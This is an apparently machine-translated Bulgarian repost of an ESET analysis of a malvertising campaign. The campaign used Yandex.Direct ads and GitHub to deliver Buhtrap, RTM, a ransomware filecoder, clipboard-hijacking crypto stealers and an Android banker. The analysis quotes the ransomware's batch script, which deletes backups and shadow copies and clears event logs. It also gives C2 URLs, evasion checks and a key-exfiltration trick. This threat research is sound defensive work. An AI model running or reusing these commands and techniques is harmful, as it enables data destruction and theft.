Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct

За да се насочите към счетоводители при кибератака, можете да използвате работни документи, които те търсят онлайн. Това е приблизително това, което кибергрупа прави през последните няколко месеца, разпространявайки известни задни вратички. Бухтрап и RTM, както и криптори и софтуер за кражба на криптовалути. Повечето цели са разположени в Русия. Атаката е извършена чрез поставяне на злонамерена реклама в Yandex.Direct. Потенциалните жертви бяха насочвани към уебсайт, където бяха помолени да изтеглят злонамерен файл, маскиран като шаблон на документ. Yandex премахна злонамерената реклама след нашето предупреждение.

Изходният код на Buhtrap е изтекъл онлайн в миналото, така че всеки може да го използва. Нямаме информация относно наличността на RTM код.

В тази публикация ще ви разкажем как нападателите са разпространявали злонамерен софтуер чрез Yandex.Direct и са го хоствали в GitHub. Публикацията ще завърши с технически анализ на зловреден софтуер.

Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct

Buhtrap и RTM се завръщат в бизнеса

Механизъм на разпространение и жертви

Различните полезни товари, доставени на жертвите, споделят общ механизъм за разпространение. Всички злонамерени файлове, създадени от нападателите, бяха поставени в две различни хранилища на GitHub.

Обикновено хранилището съдържа един злонамерен файл за изтегляне, който се променя често. Тъй като GitHub ви позволява да видите историята на промените в хранилище, можем да видим какъв злонамерен софтуер е бил разпространен през определен период. За да убеди жертвата да изтегли злонамерения файл, е използван уебсайтът blanki-shabloni24[.]ru, показан на фигурата по-горе.

Дизайнът на сайта и всички имена на злонамерените файлове следват една концепция - формуляри, шаблони, договори, образци и т.н. Като се има предвид, че софтуерът Buhtrap и RTM вече е бил използван при атаки срещу счетоводители в миналото, ние предположихме, че стратегията в новата кампания е същата. Единственият въпрос е как жертвата е стигнала до сайта на нападателите.

инфекция

Поне няколко потенциални жертви, които се озоваха на този сайт, бяха привлечени от злонамерена реклама. По-долу е примерен URL адрес:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

Както можете да видите от връзката, банерът е публикуван в легитимния счетоводен форум bb.f2[.]kz. Важно е да се отбележи, че банерите се появиха на различни сайтове, всички бяха с еднакъв идентификатор на кампанията (blanki_rsya) и повечето бяха свързани със счетоводни или правни услуги. URL адресът показва, че потенциалната жертва е използвала заявката „изтегляне на формуляр за фактура“, което подкрепя нашата хипотеза за целенасочени атаки. По-долу са сайтовете, където са се появили банерите и съответните заявки за търсене.

  • изтегляне на формуляр за фактура – ​​bb.f2[.]kz
  • примерен договор - Ipopen[.]ru
  • молба образец на жалба - 77metrov[.]ru
  • форма на споразумение - blank-dogovor-kupli-prodazhi[.]ru
  • примерна съдебна молба - zen.yandex[.]ru
  • примерна жалба - yurday[.]ru
  • примерни форми на договор – Regforum[.]ru
  • договорна форма – assistentus[.]ru
  • примерен договор за апартамент – ​​napravah[.]com
  • образци на правни договори - avito[.]ru

Сайтът blanki-shabloni24[.]ru може да е бил конфигуриран да премине проста визуална оценка. Обикновено реклама, която сочи към професионално изглеждащ сайт с връзка към GitHub, не изглежда като нещо очевидно лошо. Освен това нападателите са качили злонамерени файлове в хранилището само за ограничен период, вероятно по време на кампанията. През повечето време хранилището на GitHub съдържаше празен zip архив или празен EXE файл. По този начин нападателите могат да разпространяват реклама чрез Yandex.Direct на сайтове, които най-вероятно са били посещавани от счетоводители, които са дошли в отговор на конкретни заявки за търсене.

След това нека разгледаме различните полезни товари, разпределени по този начин.

Анализ на полезния товар

Хронология на разпространението

Злонамерената кампания започна в края на октомври 2018 г. и е активна към момента на писане. Тъй като цялото хранилище беше публично достъпно в GitHub, ние съставихме точна времева линия на разпространението на шест различни семейства зловреден софтуер (вижте фигурата по-долу). Добавихме ред, показващ кога връзката към банера е била открита, измерено от телеметрията на ESET, за сравнение с хронологията на git. Както можете да видите, това корелира добре с наличността на полезния товар в GitHub. Несъответствието в края на февруари може да се обясни с факта, че нямахме част от историята на промените, тъй като хранилището беше премахнато от GitHub, преди да успеем да го получим изцяло.

Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct
Фигура 1. Хронология на разпространението на зловреден софтуер.

Сертификати за подписване на код

Кампанията използва множество сертификати. Някои бяха подписани от повече от едно семейство зловреден софтуер, което допълнително показва, че различни проби принадлежат към една и съща кампания. Въпреки наличието на частния ключ, операторите не са подписвали систематично двоичните файлове и не са използвали ключа за всички проби. В края на февруари 2019 г. нападателите започнаха да създават невалидни подписи, използвайки сертификат, собственост на Google, за който не разполагаха с частния ключ.

Всички сертификати, участващи в кампанията, и семействата злонамерен софтуер, които подписват, са изброени в таблицата по-долу.

Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct

Ние също използвахме тези сертификати за подписване на код, за да установим връзки с други фамилии злонамерен софтуер. За повечето сертификати не намерихме проби, които не са били разпространени чрез хранилище на GitHub. Сертификатът на TOV „MARIYA“ обаче е използван за подписване на зловреден софтуер, принадлежащ на ботнета Wauchos, рекламен софтуер и копачи. Малко вероятно е този зловреден софтуер да е свързан с тази кампания. Най-вероятно сертификатът е закупен в тъмната мрежа.

Win32/Filecoder.Buhtrap

Първият компонент, който привлече вниманието ни, беше новооткритият Win32/Filecoder.Buhtrap. Това е двоичен файл на Delphi, който понякога е пакетиран. Разпространен е основно през февруари–март 2019 г. Държи се както подобава на ransomware програма – претърсва локални дискове и мрежови папки и криптира откритите файлове. Не се нуждае от интернет връзка, за да бъде компрометиран, защото не се свързва със сървъра, за да изпрати ключове за криптиране. Вместо това той добавя „токен“ в края на съобщението за откуп и предлага използването на имейл или Bitmessage за връзка с операторите.

За да шифрова възможно най-много чувствителни ресурси, Filecoder.Buhtrap изпълнява нишка, предназначена да изключи ключов софтуер, който може да има отворени манипулатори на файлове, съдържащи ценна информация, която може да попречи на криптирането. Целевите процеси са главно системи за управление на бази данни (СУБД). Освен това Filecoder.Buhtrap изтрива лог файлове и архиви, за да затрудни възстановяването на данни. За да направите това, изпълнете груповия скрипт по-долу.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap използва законна онлайн услуга за IP Logger, предназначена да събира информация за посетителите на уебсайта. Това е предназначено за проследяване на жертвите на ransomware, което е отговорност на командния ред:

mshta.exe "javascript:document.write('');"

Файловете за криптиране се избират, ако не съответстват на три списъка за изключване. Първо, файловете със следните разширения не са шифровани: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys и .bat. Второ, всички файлове, за които пълният път съдържа низове на директория от списъка по-долу, се изключват.

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

Трето, някои имена на файлове също са изключени от криптиране, сред които името на файла на съобщението за откуп. Списъкът е представен по-долу. Очевидно всички тези изключения имат за цел да поддържат машината работеща, но с минимална пътна изправност.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

Схема за криптиране на файлове

Веднъж изпълнен, зловредният софтуер генерира 512-битова RSA ключова двойка. Частният експонент (d) и модул (n) след това се криптират с твърдо кодиран 2048-битов публичен ключ (публичен експонент и модул), опаковани в zlib и кодирани по base64. Кодът, отговорен за това, е показан на фигура 2.

Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct
Фигура 2. Резултат от декомпилация на Hex-Rays на процеса на генериране на 512-битова двойка ключове RSA.

По-долу е даден пример за обикновен текст с генериран частен ключ, който е токен, прикачен към съобщението за откуп.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

Публичният ключ на нападателите е даден по-долу.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

Файловете са криптирани с помощта на AES-128-CBC с 256-битов ключ. За всеки криптиран файл се генерират нов ключ и нов вектор за инициализация. Ключовата информация се добавя в края на шифрования файл. Нека разгледаме формата на шифрования файл.
Шифрованите файлове имат следната заглавка:

Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct

Данните на изходния файл с добавянето на магическата стойност VEGA са криптирани до първите 0x5000 байта. Цялата информация за дешифриране е прикачена към файл със следната структура:

Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct

- Маркерът за размер на файла съдържа знак, показващ дали файлът е по-голям от 0x5000 байта
— AES ключ blob = ZlibCompress(RSAEncrypt(AES ключ + IV, публичен ключ на генерираната RSA ключова двойка))
- RSA key blob = ZlibCompress(RSAEncrypt(генериран RSA частен ключ, твърдо кодиран RSA публичен ключ))

Win32/ClipBanker

Win32/ClipBanker е компонент, който се разпространява периодично от края на октомври до началото на декември 2018 г. Неговата роля е да следи съдържанието на клипборда, търси адреси на портфейли с криптовалута. След като определи целевия адрес на портфейла, ClipBanker го заменя с адрес, за който се смята, че принадлежи на операторите. Пробите, които изследвахме, не бяха нито опаковани, нито замъглени. Единственият механизъм, използван за маскиране на поведението, е криптирането на низове. Адресите на портфейла на оператора са криптирани с помощта на RC4. Целевите криптовалути са Bitcoin, Bitcoin cash, Dogecoin, Ethereum и Ripple.

През периода, в който зловреден софтуер се разпространява в биткойн портфейлите на нападателите, малко количество е изпратено до VTS, което поставя под съмнение успеха на кампанията. Освен това няма доказателства, които да предполагат, че тези транзакции изобщо са били свързани с ClipBanker.

Win32/RTM

Компонентът Win32/RTM беше разпространен за няколко дни в началото на март 2019 г. RTM е троянски банкер, написан на Delphi, насочен към системи за отдалечено банкиране. През 2017 г. изследователите на ESET публикуваха подробен анализ на тази програма, описанието все още е актуално. През януари 2019 г. Palo Alto Networks също пуснаха публикация в блог за RTM.

Buhtrap Loader

Известно време в GitHub беше наличен инструмент за изтегляне, който не беше подобен на предишните инструменти на Buhtrap. Той се обръща към https://94.100.18[.]67/RSS.php?<some_id> за получаване на следващия етап и го зарежда директно в паметта. Можем да различим две поведения на кода на втория етап. В първия URL RSS.php предаде директно задната врата на Buhtrap - тази задна врата е много подобна на тази, налична след изтичането на изходния код.

Интересното е, че виждаме няколко кампании с задната врата на Buhtrap и се твърди, че се управляват от различни оператори. В този случай основната разлика е, че задната врата се зарежда директно в паметта и не използва обичайната схема с процеса на внедряване на DLL, за който говорихме преди. В допълнение, операторите промениха ключа RC4, използван за криптиране на мрежовия трафик към C&C сървъра. В повечето от кампаниите, които видяхме, операторите не си направиха труда да сменят този ключ.

Второто, по-сложно поведение беше, че RSS.php URL адресът беше предаден на друг товарач. Той реализира известно объркване, като например повторно изграждане на таблицата за динамично импортиране. Целта на буутлоудъра е да се свърже с C&C сървъра msiofficeupd[.]com/api/F27F84EDA4D13B15/2, изпратете регистрационните файлове и изчакайте отговор. Той обработва отговора като петно, зарежда го в паметта и го изпълнява. Полезният товар, който видяхме при изпълнението на този товарач, беше същата задна врата на Buhtrap, но може да има и други компоненти.

Android/Spy.Banker

Интересното е, че в хранилището на GitHub е открит и компонент за Android. Той беше в основния клон само един ден - 1г. Освен че е публикуван в GitHub, телеметрията на ESET не намира доказателства за разпространението на този зловреден софтуер.

Компонентът беше хостван като пакет за приложения за Android (APK). Силно е объркано. Злонамереното поведение е скрито в шифрован JAR, намиращ се в APK. Той е криптиран с RC4 с помощта на този ключ:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

Същият ключ и алгоритъм се използват за криптиране на низове. JAR се намира в APK_ROOT + image/files. Първите 4 байта на файла съдържат дължината на шифрования JAR, който започва веднага след полето за дължина.

След като разшифровахме файла, открихме, че това е Анубис - преди документиран банкер за android. Зловреден софтуер има следните характеристики:

  • запис на микрофон
  • правене на екранни снимки
  • получаване на GPS координати
  • кийлогър
  • криптиране на данните на устройството и искане на откуп
  • спамене

Интересното е, че банкерът използва Twitter като резервен канал за комуникация, за да получи друг C&C сървър. Пробата, която анализирахме, използва акаунта @JonesTrader, но по време на анализа той вече беше блокиран.

Банкерът съдържа списък с целеви приложения на устройството с Android. Той е по-дълъг от списъка, получен в проучването на Sophos. Списъкът включва много банкови приложения, програми за онлайн пазаруване като Amazon и eBay и услуги за криптовалута.

MSIL/ClipBanker.IH

Последният компонент, разпространен като част от тази кампания, беше изпълнимият файл на .NET Windows, който се появи през март 2019 г. Повечето от изследваните версии бяха пакетирани с ConfuserEx v1.0.0. Подобно на ClipBanker, този компонент използва клипборда. Целта му е широка гама от криптовалути, както и оферти в Steam. Освен това той използва услугата IP Logger, за да открадне биткойн частния WIF ключ.

Защитни механизми
В допълнение към предимствата, които ConfuserEx предоставя за предотвратяване на отстраняване на грешки, дъмпинг и подправяне, компонентът включва възможност за откриване на антивирусни продукти и виртуални машини.

За да провери дали работи във виртуална машина, зловредният софтуер използва вградения в Windows WMI команден ред (WMIC), за да поиска информация за BIOS, а именно:

wmic bios

След това програмата анализира изхода на командата и търси ключови думи: VBOX, VirtualBox, XEN, qemu, bochs, VM.

За да открие антивирусни продукти, злонамереният софтуер изпраща заявка за инструментариум за управление на Windows (WMI) до центъра за сигурност на Windows, използвайки ManagementObjectSearcher API, както е показано по-долу. След декодиране от base64 обаждането изглежда така:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct
Фигура 3. Процес за идентифициране на антивирусни продукти.

Освен това зловредният софтуер проверява дали CryptoClipWatcher, инструмент за защита срещу атаки на клипборда и, ако работи, спира всички нишки в този процес, като по този начин деактивира защитата.

Упоритост

Версията на зловреден софтуер, която проучихме, се копира в нея %APPDATA%googleupdater.exe и задава атрибута „скрит“ за директорията на google. След това тя променя стойността SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell в системния регистър на Windows и добавя пътя updater.exe. По този начин зловредният софтуер ще се изпълнява всеки път, когато потребителят влезе.

Злонамерено поведение

Подобно на ClipBanker, злонамереният софтуер следи съдържанието на клипборда и търси адреси на портфейла за криптовалута и когато бъде открит, го заменя с един от адресите на оператора. По-долу е даден списък с целеви адреси въз основа на това, което е намерено в кода.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

За всеки тип адрес има съответен регулярен израз. Стойността STEAM_URL се използва за атака на системата Steam, както може да се види от регулярния израз, който се използва за дефиниране в буфера:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

Ексфилтрационен канал

В допълнение към подмяната на адресите в буфера, злонамереният софтуер е насочен към частните WIF ключове на Bitcoin, Bitcoin Core и Electrum Bitcoin портфейли. Програмата използва plogger.org като канал за ексфилтрация за получаване на WIF частния ключ. За да направят това, операторите добавят данни за личен ключ към HTTP заглавката на User-Agent, както е показано по-долу.

Задната вратичка и шифраторът Buhtrap бяха разпространени с помощта на Yandex.Direct
Фигура 4. IP Logger конзола с изходни данни.

Операторите не са използвали iplogger.org за ексфилтриране на портфейли. Вероятно са прибягнали до различен метод поради ограничението от 255 знака в полето User-Agentпоказан в уеб интерфейса на IP Logger. В пробите, които изследвахме, другият изходен сървър беше съхранен в променливата на средата DiscordWebHook. Изненадващо, тази променлива на средата не е присвоена никъде в кода. Това предполага, че зловредният софтуер все още е в процес на разработка и променливата е присвоена на тестовата машина на оператора.

Има още един знак, че програмата е в процес на разработка. Двоичният файл включва два iplogger.org URL адреса и двата се запитват, когато данните бъдат ексфилтрирани. В заявка към един от тези URL адреси стойността в полето Referer се предхожда от „DEV /“. Намерихме също версия, която не беше пакетирана с помощта на ConfuserEx, получателят на този URL адрес се нарича DevFeedbackUrl. Въз основа на името на променливата на средата, ние вярваме, че операторите планират да използват легитимната услуга Discord и нейната система за уеб прихващане, за да откраднат портфейли за криптовалута.

Заключение

Тази кампания е пример за използване на законни рекламни услуги при кибератаки. Схемата е насочена към руски организации, но не бихме се изненадали да видим подобна атака с използване на не-руски услуги. За да избегнат компромиси, потребителите трябва да са уверени в репутацията на източника на софтуера, който изтеглят.

Пълен списък с индикатори за компромис и атрибути на MITER ATT&CK е достъпен на връзка.

Източник: www.habr.com

Добавяне на нов коментар